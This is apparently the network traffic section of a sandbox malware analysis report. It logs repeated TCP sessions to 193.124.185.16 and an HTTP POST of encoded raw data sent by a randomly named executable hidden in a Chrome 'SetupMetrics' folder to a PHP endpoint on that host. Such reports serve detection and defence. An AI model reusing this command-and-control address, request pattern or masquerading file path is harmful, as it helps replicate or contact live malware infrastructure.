Dec 16, 2024 13:13:33.489113092 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.489424944 CET	80	49885	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.489489079 CET	49885	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.609039068 CET	80	49889	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:33.838979006 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:33.959252119 CET	80	49889	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:34.718152046 CET	80	49889	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:34.760657072 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:34.949800968 CET	80	49889	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:34.995060921 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.072011948 CET	49873	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.072510004 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.192244053 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:35.192339897 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.192589045 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.312391043 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:35.541975021 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:35.662020922 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:36.438772917 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:36.479356050 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.670656919 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:36.714056015 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.790150881 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.790445089 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.910197973 CET	80	49898	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:36.910252094 CET	80	49893	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:36.910577059 CET	49893	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.910706997 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:36.911345005 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:37.032778978 CET	80	49898	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:37.260935068 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:37.380660057 CET	80	49898	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.089839935 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.090070963 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.143557072 CET	80	49898	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.144777060 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.210095882 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.210108042 CET	80	49898	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.210448980 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.210536003 CET	49898	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.210585117 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.212455988 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.330418110 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.332462072 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.332714081 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.333071947 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.454235077 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.557655096 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.677684069 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.677773952 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:38.682828903 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:38.802880049 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:39.449628115 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:39.494987011 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.567697048 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:39.620132923 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.682486057 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:39.729450941 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.802666903 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:39.854366064 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.931138992 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.931243896 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:39.931509018 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.051201105 CET	80	49910	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:40.051301956 CET	80	49904	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:40.051309109 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.051352978 CET	49904	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.051620960 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.051733971 CET	80	49905	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:40.051845074 CET	49905	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.171405077 CET	80	49910	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:40.401338100 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:40.521287918 CET	80	49910	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:41.276489973 CET	80	49910	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:41.323203087 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.543138981 CET	80	49910	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:41.588798046 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.664140940 CET	49889	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.667154074 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.787437916 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:41.787543058 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.787797928 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:41.907531023 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:42.135802031 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:42.255631924 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.024056911 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.073137045 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.258444071 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.307534933 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.386382103 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.386642933 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.506617069 CET	80	49918	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.506724119 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.506769896 CET	80	49912	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.506824017 CET	49912	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.507059097 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.626832962 CET	80	49918	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:43.854512930 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:43.974478960 CET	80	49918	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.699559927 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.699908018 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.739794970 CET	80	49918	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.739936113 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.819451094 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.819596052 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.819818974 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.819979906 CET	80	49918	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.820035934 CET	49918	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.871181965 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.940092087 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.991024971 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:44.991134882 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:44.991380930 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:45.111285925 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:45.167037964 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:45.286942005 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:45.286992073 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:45.338947058 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:45.458822966 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.065934896 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.120090008 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.220105886 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.276272058 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.302016973 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.354346991 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.454420090 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.495043039 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.571270943 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.571325064 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.571576118 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.691467047 CET	80	49929	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.691612959 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.691863060 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.691946983 CET	80	49922	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.692008972 CET	49922	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.692764044 CET	80	49923	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:46.692918062 CET	49923	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:46.811645031 CET	80	49929	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:47.041958094 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:47.162048101 CET	80	49929	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:47.928775072 CET	80	49929	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:47.979420900 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.166573048 CET	80	49929	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:48.213732004 CET	49929	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.289690018 CET	49910	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.296365023 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.416307926 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:48.416492939 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.416660070 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.536396027 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:48.760694981 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:48.880543947 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:49.670149088 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:49.713818073 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:49.906711102 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:49.948118925 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.025597095 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.025880098 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.145704985 CET	80	49938	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:50.145865917 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.145870924 CET	80	49932	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:50.145939112 CET	49932	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.146110058 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.265816927 CET	80	49938	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:50.495342016 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:50.615353107 CET	80	49938	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.308653116 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.309115887 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.371171951 CET	80	49938	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.371284962 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.429009914 CET	80	49938	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.429030895 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.429260969 CET	49938	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.429267883 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.429384947 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.435331106 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.549719095 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.555197954 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.555289984 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.555517912 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.675231934 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.776418924 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:51.896375895 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.896414995 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:51.901496887 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:52.021373987 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:52.663379908 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:52.713804960 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:52.790744066 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:52.838813066 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:52.898082972 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:52.948151112 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.022469997 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:53.073123932 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.149389982 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.149394989 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.149682045 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.269495010 CET	80	49949	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:53.269700050 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.269701958 CET	80	49943	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:53.269803047 CET	49943	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.270060062 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.270164967 CET	80	49942	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:53.270231009 CET	49942	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.389758110 CET	80	49949	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:53.620224953 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:53.740154028 CET	80	49949	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:54.495575905 CET	80	49949	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:54.541887045 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:54.729999065 CET	80	49949	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:54.776281118 CET	49949	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:54.855623960 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:54.976264000 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:54.976421118 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:54.976639986 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:55.099090099 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:55.323334932 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:55.545046091 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:56.248579979 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:56.291963100 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.482651949 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:56.526264906 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.609066010 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.609436989 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.729254007 CET	80	49952	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:56.729324102 CET	80	49958	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:56.729520082 CET	49952	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.729537010 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.729716063 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:56.849394083 CET	80	49958	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:57.088852882 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:57.208601952 CET	80	49958	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:57.902348042 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:57.902353048 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:57.959892035 CET	80	49958	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:57.960010052 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.022326946 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.022623062 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.022623062 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.022639036 CET	80	49958	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.022706032 CET	49958	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.028398037 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.142518044 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.148140907 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.148220062 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.148406029 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.268148899 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.370142937 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.490578890 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.490622044 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:58.495131969 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:58.615025043 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.258297920 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.307480097 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.373580933 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.417159081 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.494616032 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.542224884 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.606014967 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.650710106 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.730982065 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.731003046 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.731564999 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.851533890 CET	80	49969	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.851584911 CET	80	49962	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.851625919 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.851663113 CET	49962	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.851876974 CET	80	49963	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:59.851900101 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.851933956 CET	49963	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:59.971642971 CET	80	49969	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:00.198250055 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:00.318169117 CET	80	49969	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:01.077007055 CET	80	49969	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:01.120167017 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:01.309952021 CET	80	49969	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:01.354418039 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:01.433619976 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:01.553636074 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:01.556186914 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:01.556477070 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:01.676235914 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:01.901370049 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:02.021284103 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:02.792396069 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:02.838751078 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.026561975 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:03.073132992 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.153724909 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.154125929 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.273964882 CET	80	49973	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:03.274013996 CET	80	49978	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:03.274163961 CET	49973	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.274377108 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.274596930 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.394331932 CET	80	49978	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:03.620280027 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:03.740202904 CET	80	49978	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.498812914 CET	80	49978	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.511677980 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.511842012 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.632056952 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.632184029 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.632328033 CET	80	49978	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.632409096 CET	49978	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.634453058 CET	49969	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.634592056 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.635884047 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.754348993 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.755666018 CET	80	49983	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.755753994 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.755965948 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:04.876466036 CET	80	49983	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:04.989567995 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:05.104674101 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:05.109678984 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:05.109699011 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:05.224674940 CET	80	49983	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:26.536591053 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:26.536678076 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:26.630625963 CET	80	49983	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:26.631135941 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:30.099608898 CET	49982	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:30.100394011 CET	49983	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:14:30.221039057 CET	80	49982	193.124.185.16	192.168.2.5
Dec 16, 2024 13:14:30.221672058 CET	80	49983	193.124.185.16	192.168.2.5

HTTP Request Dependency Graph

193.124.185.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:12:33.589584112 CET	314	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:12:33.952838898 CET	344	OUT	Data Raw: 00 0b 01 00 06 01 01 06 05 06 02 01 02 02 01 05 00 04 05 0f 02 0d 03 09 01 07 0f 54 03 0e 06 06 0f 55 03 00 03 54 04 07 0e 56 07 51 05 07 06 56 07 04 0c 01 0a 07 05 03 06 54 03 06 04 0b 00 0b 02 06 0e 0c 05 03 04 05 0b 05 0d 06 0c 07 0b 07 05 02 Data Ascii: TUTVQVTS\L~Ah`__cbb_but~l}tRl\|s]YxBUE{^r\|ClAt\|Li_~V@{STbu
